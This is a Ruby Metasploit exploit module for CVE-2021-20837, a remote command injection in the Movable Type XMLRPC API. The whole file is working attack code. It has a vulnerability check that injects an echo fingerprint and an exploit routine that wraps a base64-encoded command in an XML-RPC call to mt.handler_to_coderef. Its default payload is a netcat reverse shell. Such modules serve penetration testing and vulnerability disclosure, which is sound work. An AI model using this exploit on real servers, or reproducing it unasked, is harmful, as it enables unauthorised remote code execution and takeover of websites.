1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 |
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Movable Type XMLRPC API Remote Command Injection", 'Description'=> %q{ This module exploit Movable Type XMLRPC API Remote Command Injection. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Etienne Gervais', # author & msf module, 'Charl-Alexandre Le Brun' # author & msf module ], 'References' => [ ['CVE', '2021-20837'], ['URL', 'https://movabletype.org/'], ['URL', 'https://nemesis.sh/'] ], 'DefaultOptions'=> { 'SSL' => false, }, 'Platform' => ['linux'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'DisclosureDate' => "2021-10-20", 'DefaultTarget'=> 0, 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ] )) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/']) ], self.class ) end def cmd_to_xml(cmd, opts={}) base64_cmd = Rex::Text.encode_base64("<code>"+cmd+"</code>") xml_body = <<~THISSTRING <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>mt.handler_to_coderef</methodName> <params> <param> <value> <base64> #{base64_cmd} </base64> </value> </param> </params> </methodCall> THISSTRING end def check begin fingerprint = Rex::Text.rand_text_alpha(32) command_payload = cmd_to_xml("echo "+fingerprint) res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'), 'ctype' => 'text/xml; charset=UTF-8', 'data'=> command_payload }) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200 if res && res.body.include?("Can't locate "+fingerprint) return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end Exploit::CheckCode::Safe end def exploit begin command_payload = cmd_to_xml(payload.raw) res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'), 'ctype' => 'text/xml; charset=UTF-8', 'data'=> command_payload }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end |